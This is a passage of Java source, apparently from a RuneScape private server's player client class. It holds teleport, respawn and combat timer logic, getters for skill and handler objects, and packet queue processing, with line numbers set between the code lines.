			if (skullTimer == 1) {
1597
				isSkulled = false;
1598
				attackedPlayers.clear();
1599
				headIconPk = -1;
1600
				skullTimer = -1;
1601
				getPA().requestUpdates();
1602
			}
1603
		}
1604
1605
		if (isDead && respawnTimer == -6) {
1606
			getPA().applyDead();
1607
		}
1608
1609
		if (specRestore > 0) {
1610
			specRestore--;
1611
		}
1612
1613
		if (respawnTimer == 7) {
1614
			respawnTimer = -6;
1615
			getPA().giveLife();
1616
		} else if (respawnTimer == 12) {
1617
			respawnTimer--;
1618
			startAnimation(0x900);
1619
			poisonDamage = -1;
1620
		}
1621
1622
		if (respawnTimer > -6) {
1623
			respawnTimer--;
1624
		}
1625
		if (freezeTimer > -6) {
1626
			freezeTimer--;
1627
			if (frozenBy > 0) {
1628
				if (PlayerHandler.players[frozenBy] == null) {
1629
					freezeTimer = -1;
1630
					frozenBy = -1;
1631
				} else if (!goodDistance(absX, absY,
1632
						PlayerHandler.players[frozenBy].absX,
1633
						PlayerHandler.players[frozenBy].absY, 20)) {
1634
					freezeTimer = -1;
1635
					frozenBy = -1;
1636
				}
1637
			}
1638
		}
1639
1640
		if (hitDelay > 0) {
1641
			hitDelay--;
1642
		}
1643
		//RubberCheck(); //Rubber Chicken
1644
	if (teleTimer > 0) {
1645
		teleTimer--;
1646
		if (isPvpMode) { //For pvp mode - 10 second Teleport delay
1647
			if (!isDead) {
1648
				if (teleTimer == 1 && newLocation > 0) { //Full teleport finishes here.
1649
					teleTimer = 0;
1650
					getPA().changeLocation();
1651
				}
1652
				if (teleTimer == 5) { //This is where it starts to read new map data for teleport
1653
					teleTimer--;
1654
					getPA().processTeleport();
1655
				}
1656
				if (teleTimer == 9 && teleGfx > 0 ) { //This is where the animations start
1657
					teleTimer--;
1658
					if (playerMagicBook == 1) { //Added all this here because of 10 second delay...
1659
						startAnimation(1979);
1660
						gfx0(392);
1661
					} else {
1662
						startAnimation(714);
1663
						gfx100(teleGfx);
1664
					}
1665
				}
1666
				if (teleTimer >= 9 && teleTimer <= (playerMagicBook == 1 ? 19 : 21)) { //This is a check for the "10" second wait timer
1667
					if (underAttackBy > 0 || underAttackBy2 > 0) {
1668
						sendMessage("Teleport has been canceled because you are in combat.");
1669
						teleTimer = 0;
1670
						return;
1671
					}
1672
				}
1673
				if (teleTimer == (playerMagicBook == 1 ? 18 : 20)) { //Start of timer (when you click button)
1674
					if (underAttackBy > 0 || underAttackBy2 > 0) {
1675
						sendMessage("Teleport has been canceled because you are in combat.");
1676
						teleTimer = 0;
1677
						return;
1678
					}
1679
					teleTimer--;
1680
					sendMessage("Teleporting in 10 seconds...");
1681
					getDH().sendDialogues(570, 1);
1682
				}
1683
				
1684
			} else {
1685
				teleTimer = 0;
1686
			}
1687
		} else { //For regular teleports below
1688
			if (!isDead) {
1689
				if (teleTimer == 1 && newLocation > 0) {
1690
					teleTimer = 0;
1691
					getPA().changeLocation();
1692
				}
1693
				if (teleTimer == 5) {
1694
					teleTimer--;
1695
					getPA().processTeleport();
1696
				}
1697
				if (teleTimer == 9 && teleGfx > 0) {
1698
					teleTimer--;
1699
					gfx100(teleGfx);
1700
				}
1701
			} else {
1702
				teleTimer = 0;
1703
			}
1704
		}
1705
	}
1706
		
1707
		/*if (isPvpMode) {
1708
			if (System.currentTimeMillis() - pvpTeleDelay > 7000) {
1709
				CycleEventHandler.getSingleton().stopEvents(this);
1710
				getPA().processTeleport();
1711
			} else {
1712
				sendMessage("You must be out of combat for 7 seconds before teleporting.");
1713
			}
1714
		}*/
1715
1716
		if (hitDelay == 1) {
1717
			if (oldNpcIndex > 0) {
1718
				getCombat().delayedHit(this, oldNpcIndex);
1719
			}
1720
			if (oldPlayerIndex > 0) {
1721
				getCombat().playerDelayedHit(this, oldPlayerIndex);
1722
			}
1723
		}
1724
1725
		if (attackTimer > 0) {
1726
			attackTimer--;
1727
		}
1728
1729
		if (attackTimer == 1) {
1730
			if (npcIndex > 0 && clickNpcType == 0) {
1731
				getCombat().attackNpc(npcIndex);
1732
			}
1733
			if (playerIndex > 0) {
1734
				getCombat().attackPlayer(playerIndex);
1735
			}
1736
		} else if (attackTimer <= 0 && (npcIndex > 0 || playerIndex > 0)) {
1737
			if (npcIndex > 0) {
1738
				attackTimer = 0;
1739
				getCombat().attackNpc(npcIndex);
1740
			} else if (playerIndex > 0) {
1741
				attackTimer = 0;
1742
				getCombat().attackPlayer(playerIndex);
1743
			}
1744
		}
1745
1746
	}
1747
1748
	public Map getStringMap() {
1749
		return stringMap;
1750
	}
1751
1752
	private String redOrGreen(boolean green) {
1753
		return green ? "@gre@" : "@red@";
1754
	}
1755
1756
	public void setCurrentTask(Future<?> task) {
1757
		currentTask = task;
1758
	}
1759
1760
	public Future<?> getCurrentTask() {
1761
		return currentTask;
1762
	}
1763
1764
	public synchronized Stream getInStream() {
1765
		return inStream;
1766
	}
1767
1768
	public synchronized int getPacketType() {
1769
		return packetType;
1770
	}
1771
1772
	public synchronized int getPacketSize() {
1773
		return packetSize;
1774
	}
1775
1776
	public synchronized Stream getOutStream() {
1777
		return outStream;
1778
	}
1779
1780
	public ItemAssistant getItems() {
1781
		return itemAssistant;
1782
	}
1783
1784
	public PlayerAssistant getPA() {
1785
		return playerAssistant;
1786
	}
1787
1788
	public PMLog PMLog() {
1789
		return PMLog;
1790
	}
1791
1792
	public Alching Alching() {
1793
		return Alching;
1794
	}
1795
1796
	public ClickItem ClickItem() {
1797
		return ClickItem;
1798
	}
1799
1800
	public Shopping Shopping() {
1801
		return Shopping;
1802
	}
1803
1804
	public PickupItem PickupItem() {
1805
		return PickupItem;
1806
	}
1807
1808
	public DroppingItem DroppingItem() {
1809
		return DroppingItem;
1810
	}
1811
	public PvPLog PvPLog() {
1812
		return PvPLog;
1813
	}
1814
	public CommandsLog CommandsLog() {
1815
		return CommandsLog;
1816
	}
1817
1818
	public StakingLog StakingLog() {
1819
		return StakingLog;
1820
	}
1821
1822
	public DialogueHandler getDH() {
1823
		return dialogueHandler;
1824
	}
1825
1826
	public ShopAssistant getShops() {
1827
		return shopAssistant;
1828
	}
1829
1830
	public TradeAndDuel getTradeAndDuel() {
1831
		return tradeAndDuel;
1832
	}
1833
1834
	public CombatAssistant getCombat() {
1835
		return combatAssistant;
1836
	}
1837
1838
	public ActionHandler getActions() {
1839
		return actionHandler;
1840
	}
1841
1842
	public KillsStreak getStreak() {
1843
		return killsStreak;
1844
	}
1845
1846
	public PlayerKilling getKill() {
1847
		return playerKilling;
1848
	}
1849
1850
	public Channel getSession() {
1851
		return session;
1852
	}
1853
1854
	public Achievement getAchievement() {
1855
		return achievement;
1856
	}
1857
1858
	public TradeLog getTradeLog() {
1859
		return tradeLog;
1860
	}
1861
1862
	public Bank getBank() {
1863
		return bank;
1864
	}
1865
1866
	public Potions getPotions() {
1867
		return potions;
1868
	}
1869
1870
	public PotionMixing getPotMixing() {
1871
		return potionMixing;
1872
	}
1873
1874
	public Food getFood() {
1875
		return food;
1876
	}
1877
1878
	public boolean ardiRizal() {
1879
		if ((playerEquipment[playerHat] == -1)
1880
				&& (playerEquipment[playerCape] == -1)
1881
				&& (playerEquipment[playerAmulet] == -1)
1882
				&& (playerEquipment[playerChest] == -1)
1883
				&& (playerEquipment[playerShield] == -1)
1884
				&& (playerEquipment[playerLegs] == -1)
1885
				&& (playerEquipment[playerHands] == -1)
1886
				&& (playerEquipment[playerFeet] == -1)
1887
				&& (playerEquipment[playerWeapon] == -1)) {
1888
			return true;
1889
		} else {
1890
			return false;
1891
		}
1892
	}
1893
1894
	private boolean isBusy = false;
1895
	private boolean isBusyHP = false;
1896
	public boolean isBusyFollow = false;
1897
1898
	public boolean checkBusy() {
1899
		/*
1900
		 * if (getCombat().isFighting()) { return true; }
1901
		 */
1902
		if (isBusy) {
1903
			// actionAssistant.sendMessage("You are too busy to do that.");
1904
		}
1905
		return isBusy;
1906
	}
1907
1908
	public boolean checkBusyHP() {
1909
		return isBusyHP;
1910
	}
1911
1912
	public boolean checkBusyFollow() {
1913
		return isBusyFollow;
1914
	}
1915
1916
	public void setBusy(boolean isBusy) {
1917
		this.isBusy = isBusy;
1918
	}
1919
1920
	public boolean isBusy() {
1921
		return isBusy;
1922
	}
1923
1924
	public void setBusyFollow(boolean isBusyFollow) {
1925
		this.isBusyFollow = isBusyFollow;
1926
	}
1927
1928
	public void setBusyHP(boolean isBusyHP) {
1929
		this.isBusyHP = isBusyHP;
1930
	}
1931
1932
	public boolean isBusyHP() {
1933
		return isBusyHP;
1934
	}
1935
1936
	public boolean isBusyFollow() {
1937
		return isBusyFollow;
1938
	}
1939
1940
	public boolean canWalk = true;
1941
	public boolean hasChosenIronMan;
1942
	public boolean isChosing;
1943
1944
	public boolean canWalk() {
1945
		return canWalk;
1946
	}
1947
1948
	public void setCanWalk(boolean canWalk) {
1949
		this.canWalk = canWalk;
1950
	}
1951
1952
	public PlayerAssistant getPlayerAssistant() {
1953
		return playerAssistant;
1954
	}
1955
1956
	public SkillInterfaces getSI() {
1957
		return skillInterfaces;
1958
	}
1959
1960
	public Zulrah getZulrah() {
1961
		return zulrah;
1962
	}
1963
1964
	/**
1965
	 * Skill Constructors
1966
	 */
1967
	public Slayer getSlayer() {
1968
		return slayer;
1969
	}
1970
1971
	public Hunter getHunter() {
1972
		return hunter;
1973
	}
1974
1975
	public Summoning Summoning() {
1976
		return Summoning;
1977
	}
1978
1979
	public Woodcutting getWoodcutting() {
1980
		return woodcutting;
1981
	}
1982
1983
	public Mining getMining() {
1984
		return mine;
1985
	}
1986
1987
	public Runecrafting getRunecrafting() {
1988
		return runecrafting;
1989
	}
1990
1991
	public BankPin getBankPin() {
1992
		return bankPin;
1993
	}
1994
1995
	public PotSmoking getPotSmoking() {
1996
		return potSmoking;
1997
	}
1998
1999
	public Cooking getCooking() {
2000
		return cooking;
2001
	}
2002
2003
	public Agility getAgility() {
2004
		return agility;
2005
	}
2006
2007
	public Crafting getCrafting() {
2008
		return crafting;
2009
	}
2010
2011
	public Farming getFarming() {
2012
		return farming;
2013
	}
2014
2015
	public Thieving getThieving() {
2016
		return thieving;
2017
	}
2018
2019
	public Herblore getHerblore() {
2020
		return herblore;
2021
	}
2022
2023
	public String getConnectedFrom() {
2024
		return connectedFrom;
2025
	}
2026
2027
	public Pets getSummon() {
2028
		return pets;
2029
	}
2030
2031
	public Smithing getSmithing() {
2032
		return smith;
2033
	}
2034
	public CreateNPC createNPC() {
2035
		return newNPC;
2036
	}
2037
	
2038
	public RemoveNPC removeNPC() {
2039
		return rNPC;
2040
	}
2041
	public SmithingInterface getSmithingInt() {
2042
		return smithInt;
2043
	}
2044
2045
	public Firemaking getFiremaking() {
2046
		return firemaking;
2047
	}
2048
2049
	public Fletching getFletching() {
2050
		return fletching;
2051
	}
2052
2053
	public Prayer getPrayer() {
2054
		return prayer;
2055
	}
2056
2057
	/**
2058
	 * End of Skill Constructors
2059
	 */
2060
2061
	public void queueMessage(Packet arg1) {
2062
		synchronized (queuedPackets) {
2063
			queuedPackets.add(arg1);
2064
		}
2065
	}
2066
2067
	@Override
2068
	public boolean processQueuedPackets() {
2069
		synchronized (queuedPackets) {
2070
			Packet p = null;
2071
			while ((p = queuedPackets.poll()) != null) {
2072
				inStream.currentOffset = 0;
2073
				packetType = p.getOpcode();
2074
				packetSize = p.getLength();
2075
				inStream.buffer = p.getPayload().array();
2076
				if (packetType > 0) {
2077
					PacketHandler.processPacket(this, packetType, packetSize);
2078
				}
2079
			}
2080
		}
2081
		return true;
2082
	}
2083
2084
	/*
2085
	 * public void queueMessage(Packet arg1) { //synchronized(queuedPackets) {
2086
	 * //if (arg1.getId() != 41) queuedPackets.add(arg1); //else
2087
	 * //processPacket(arg1); //} }
2088
	 * 
2089
	 * public synchronized boolean processQueuedPackets() { Packet p = null;
2090
	 * synchronized(queuedPackets) { p = queuedPackets.poll(); } if(p == null) {
2091
	 * return false; } inStream.currentOffset = 0; packetType = p.getOpcode();
2092
	 * packetSize = p.getLength(); inStream.buffer = p.getPayload().array();
2093
	 * if(packetType > 0) { //sendMessage("PacketType: " + packetType);
2094
	 * PacketHandler.processPacket(this, packetType, packetSize); }
2095
	 * timeOutCounter = 0; return true; }
2096
	 * 
2097
	 * public synchronized boolean processPacket(Packet p) { synchronized (this)
2098
	 * { if(p == null) { return false; } inStream.currentOffset = 0; packetType
2099
	 * = p.getOpcode(); packetSize = p.getLength(); inStream.buffer =
2100
	 * p.getPayload().array(); if(packetType > 0) { //sendMessage("PacketType: "
2101
	 * + packetType); PacketHandler.processPacket(this, packetType, packetSize);
2102
	 * } timeOutCounter = 0; return true; } }
2103
	 */
2104
2105
	public void correctCoordinates() {
2106
		if (inPcGame()) {
2107
			getPA().movePlayer(2657, 2639, 0);
2108
		}
2109
		if (inFightCaves()) {
2110
			getPA().movePlayer(absX, absY, playerId * 4);
2111
			sendMessage("Your wave will start in 10 seconds.");
2112
			CycleEventHandler.getSingleton().addEvent(this, new CycleEvent() {
2113
				@Override
2114
				public void execute(CycleEventContainer container) {
2115
					Server.fightCaves
2116
							.spawnNextWave((Client) PlayerHandler.players[playerId]);
2117
					container.stop();
2118
				}
2119
2120
				@Override
2121
				public void stop() {
2122
2123
				}
2124
			}, 20);
2125
2126
		}
2127
2128
	}
2129
2130
	public Barrows getBarrows() {
2131
		return barrows;
2132
	}
2133
2134
}